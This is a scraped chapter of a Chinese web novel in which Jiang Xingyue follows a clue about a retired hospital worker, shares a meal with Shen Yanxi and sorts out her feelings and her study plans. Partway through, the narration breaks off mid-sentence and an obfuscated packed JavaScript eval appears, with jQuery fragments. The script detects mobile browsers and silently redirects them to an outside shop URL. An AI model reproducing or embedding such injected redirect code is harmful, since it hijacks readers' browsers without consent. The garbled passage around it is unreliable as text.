文趣网 > 都市小说 > 回到我妈16岁 > 20. 姐姐
    书店里吊扇嗡嗡地转,风慢慢拂过了,吹散了夏天的热,却吹不散她心里忽然涌上来的闷。

    她垂下眼,神情落寞,为沈言蹊,也为了走丢的沈念夏,她在心里默默祈祷沈念夏平平安安,能够遇到一户好人家。

    抬眼,恰好撞进老板有点儿意味深长的目光里。江行月微微低头,视线躲闪间瞥见柜台上搪瓷缸的水面轻轻晃动了一下。

    老板端起搪瓷缸喝了口水,神色如常,好像刚才只是她的错觉。

    他看着江行月,继续说道:“我就让他去县医院碰碰运气,查查有没有去世的年龄对得上的人。“

    “医院患者那么多,不好查吧!”江行月微微蹙眉。

    ”确实不好查。”老板点点头,道出关键,“我就给他指了个人。县医院老周头,干了一辈子,啥人都认识,退休后还被大药厂请过去,当过顾问呢!”

    “老周头?”江行月下意识跟着念了一遍,声音低了下去。

    她抬手把碎发拨到耳后,又问了一句:“鸿生制药厂吗?”

    “对啊,咱县就这个药厂赚钱多!”老板的语气里透了点羡慕。

    “他现在还在那吗?”

    “不在了,现在年纪大了,早不干了。”

    “那您知道他住哪儿吗?”江行月歪了歪头。

    “就在二高旁边,不过现在被他女儿接走了,人在南方,还不知道什么时候回来。”

    听到这,江行月皱了皱眉,嘴角还弯着,眼里却没什么笑意,这个线索要断了。

    “不得不说,老周头这个女儿啊,是真孝顺,说是让老人去看孩子,到了地方还不是好吃好喝地照看着。孝顺的人命都不会太差,人闺女就嫁了个好人家,别看离得远,那姑爷可心疼人了,天天陪着她回娘家。老周头也是命好,儿子闺女一个比一个孝顺……”

    老板还在絮叨,江行月耳朵听着,心思却早顺着县医院三个字飘远了,她礼貌地等人说完道了个谢。

    她结完账,临出门又折回来,特意叮嘱老板别把她来问的事告诉沈言蹊——“他本来就不想让我担心,知道了要念叨我。”

    老板抬眼看她,眼角的笑纹深了些,他重新打开了报纸:“放心,我这人嘴严,什么都记不住。”

    说完,他顿了顿,目光越过报纸落在江行月脸上,声音放慢像是在哄一个急得团团转的孩子,宽慰了一句:“有些事儿,急不得。”

    江行月点点头,抱着书本走出书店。

    太阳已经完全出来了,高高地挂在天上,她迎着阳光快步往公交车站跑去。

    还没有进家门就闻到了饭菜香,推门进去,就见餐桌上已经摆好了午饭:

    鲜香的羊肉烩面,色泽鲜亮的菠菜炒猪肝,清爽的油麦菜,还有一碗红糖荷包蛋。

    午后阳光斜斜落下来,烩面碗里的热气缓缓往上飘。

    沈言蹊听见开门声,抬眸望过来,快步上前伸手想去接她怀里的书。

    江行月拿着书的手一紧,没有立刻松开。

    “刚做好饭,你就回来了。”沈言蹊语气带着几分打趣。

    江行月缓缓松开手,将书递到她手里。

    她抬眼看向桌上满满当当的饭菜,心头微微一动。

    他察觉到了我心情不好,所以才做一桌子吃的来哄我?

    江行月吸了口气,走到椅子前坐下去。她夹了一筷子菠菜炒猪肝,嚼了两下,没尝出什么味道。

    沈言蹊把红糖荷包蛋往她面前推了推:“趁热吃。”

    她低头看着碗里卧着的鸡蛋,红糖水稠稠地裹着蛋黄。小时候她妈也这样煮,说是补气血。那时候她嫌甜,非要妈妈哄着才肯喝两口。现在没人哄着她喝了,反倒是不嫌了。

    “找工作的事,怎么样了?”她忽然开口。

    沈言蹊拿筷子的手顿了一下:“还在看。”

    “哦。”

    江行月没有再追问,低头拿筷子戳破碗里的鸡蛋,蛋黄流进红糖水里,她握着小勺慢慢舀着喝。

    沈言蹊安静望着她,似乎是有话要说。江行月也在悄悄抬眼偷瞄他,可沈言蹊到最后也没开口,只是拿起汤勺给她添了半碗面汤。

    两人吃完饭,江行月起身,把碗端了起来。沈言蹊跟着她站起来,像往常一样伸手去接:“我来洗。”

    “不用。”她避开他的手,“你做饭,我洗碗,公平。”

    沈言蹊的手没放下:“这个世界我们几乎可以算是兄妹了,兄妹之间应该不用讲公平吧?”

    江行月不吃这一套:“当然用。”

    “那姐弟之间呢?”

    江行月抬眼:“什么?”

    沈言蹊看着她的眼睛缓缓开口:

    “姐姐。”

    江行月端着碗的手一顿:“你叫谁?”

    沈言蹊没有作答,只是安安静静望着她。他眼窝生得深,衬得一双眼清亮开阔,也显得他看人时总比旁人多藏一层深意。

    他就这么看着她,目光温温和和的,莫名地让人挪不开脚步。

    江行月被看得不自在,江行月手里的碗还带着余温,她就这么直愣愣地把碗递了过去。

    沈言蹊接过来,指尖擦过她的手背,温度比碗沿还高。她猛地缩回手,抱着书回了房间,关门的时候力道重了些,震得门框嗡嗡响。

    阳光透过窗户洒在桌子上,也洒在桌面的红色橡胶热水袋和毛巾上。

    江行月盯着那个热水袋看了好一会儿,她早上出门时还没有,大概是趁她出门,沈言蹊溜进来放的。

    外面太阳大得能把人晒化,他在她房间里放了一个热水袋是怕自己不够热吗?还有毛巾,她缺毛巾吗?

    江行月暗叹这是什么新型哄人方式,她不太理解,伸手把热水袋和毛巾一并收到柜子深处,好像放的越深就越能证明自己没有被哄到。

    柜门合上发出咔哒一声,在安静的房间里显得格外响,江行月愣了一下,又用力推了一把,确保柜门关紧了。

    她坐到书桌前,把书摆好,抽出一张草稿纸,写下沈言蹊3个字。

    写完她盯着看了两秒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780697|209251||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,笔尖一滑,就又想到了刚刚少年的目光。

    见色起意

    视觉动物

    江行月落笔力道很重,字迹深深印在纸面。

    她盯着那几个字看了一会儿,又在“见色起意”旁边画了个小小的问号。如果是见色起意,那她在实验室里第一次见他就应该起意了。但那时候她满脑子都是妈妈,根本没注意到。

    那是什么时候开始的?

    江行月把那张纸从本子上撕了下来,捏着纸边,本想揉成一团扔到一边,但手指却没能用力。

    算了,不想了。她把纸夹到了笔记本里。还是想线索比较安全。

    她换了张白纸,纸面正中写下沈言蹊,向外分出四道箭头:

    第一道箭头旁边写着沈念夏:小女孩六岁走失,如今十六岁。后面画个括号,里面写和检索内容一样(1984-2000)

    第二道箭头落向奶奶,标注二字:遗愿;

    第三道箭头写的线索老周头,后面画个括号,标注医院退休人员,现外出。

    第四道箭头准备用来写沈言蹊自己。

    但还没写,江行月就笑了,还是老套的“我有一个朋友”,朋友妈妈的女儿?

    事情已经梳理清楚,沈言蹊在找1984年走失时6岁、如今16岁的姑姑。

    江行月松了一口气,她把那张写满线索的纸叠好夹进笔记本里。

    她起身倒水,路过柜子时脚步顿了一下,抬手拉开柜门往里瞥了一眼,热水袋与毛巾安安静静地躺在里面,像某种温热的、沉默的示弱。

    她盯着看了两秒,指尖在柜门上停了一下,轻轻一推,“咔哒“一声,柜子严严实实地合上了。

    待江行月醒来已经2点半了,她找出在书店买的教材书,开始学习。

    还有半个月就开学了,现在考全县第二,一开学变倒数第二也太难看了吧。

    江行月是理科生,大学暑假一直做的都是高中生家教,教人数学和物理。现在暗自庆幸自己当初选了这个工作,不然现在学习起来就难了。

    英语六级也已经考过,便没有重点关注。生物化学还有点印象。历史和政治有大学思政课的基础,相关记忆还在。

    现在麻烦的是地理,高中的时候她这门课就不好。江行月记得很清楚,第一次考试地理就考了五十九分,直接把她从年纪第二拉到了第九。

    后来一半是出于自尊心,一半不想辜负自己,她埋头苦读把成绩提了上来,可始终只能稳定在七十分上下。这也是当初她选择理科的缘由之一。

    赵云梨还安慰她,地理不好情有可原,毕竟从小你的方向感就不是很好,总是迷路。

    还好高中地理刚开始学习的内容并不多,江行月自己看了两小节,做了题对了答案,正确率还可以。

    学习完已经5点半了,江行月伸了伸懒腰,从书架上拿了本《故事会》看,力气有点儿大,笔记本跟着掉了下来。

    她顺势打开,夹在书页里的有中午的两张纸,还有一片干枯的梨花瓣。